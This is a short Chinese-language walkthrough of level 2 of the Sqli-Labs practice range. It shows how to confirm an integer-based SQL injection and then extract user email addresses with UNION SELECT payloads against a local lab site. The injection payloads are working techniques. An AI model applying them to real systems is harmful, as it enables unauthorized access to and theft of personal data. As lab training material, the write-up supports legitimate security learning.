Sql-Lib第二关

  • 漏洞类型:GET - Error based - intiger based
  • 目标网址(本地靶场):http://www.sqllib.com/less-2/?id=
  • 目标:获取网站用户的邮箱

① 判断接受的参数类型

单引号测试

id=1'

报错

check the manual that corresponds to your MySQL server version for the right syntax to use near ’’ LIMIT 0,1’ at line 1

闭合前后单引号,布尔表达式测试

id=1' and '1

报错

check the manual that corresponds to your MySQL server version for the right syntax to use near ’’ and ‘1 LIMIT 0,1’ at line 1

运算操作符测试

id=2-1

成功显示 “id=1” 时的信息!

一开始,我们假设是字符型,通过 (id=1’ and ‘1) 尝试闭合单引号,使得SQL语句能够正常带入数据库查询,但是失败了。

通过(id=2-1)正常显示 “id=1” 时的用户信息,说明当前传入的参数类型是数字型,支持运算操作符号。

② 通过 Union selecet 查询数据

① id=-1 union select null,id,email_id from security.emails limit m,1
② id=1 and 1=2 union select null,id,email_id from security.emails limit m,1
  • m 范围 1~99 的数字

  • “id=-数字” 和 “id=1 and 1=2” 效果是一样的,都是为了使得正常的查询结果不存在,而让数据库继续把 Union 后的查询语句,带入数据库查询,并回显信息。

接下来通过改变 m 的数值,能够查询出所有的用户邮箱信息。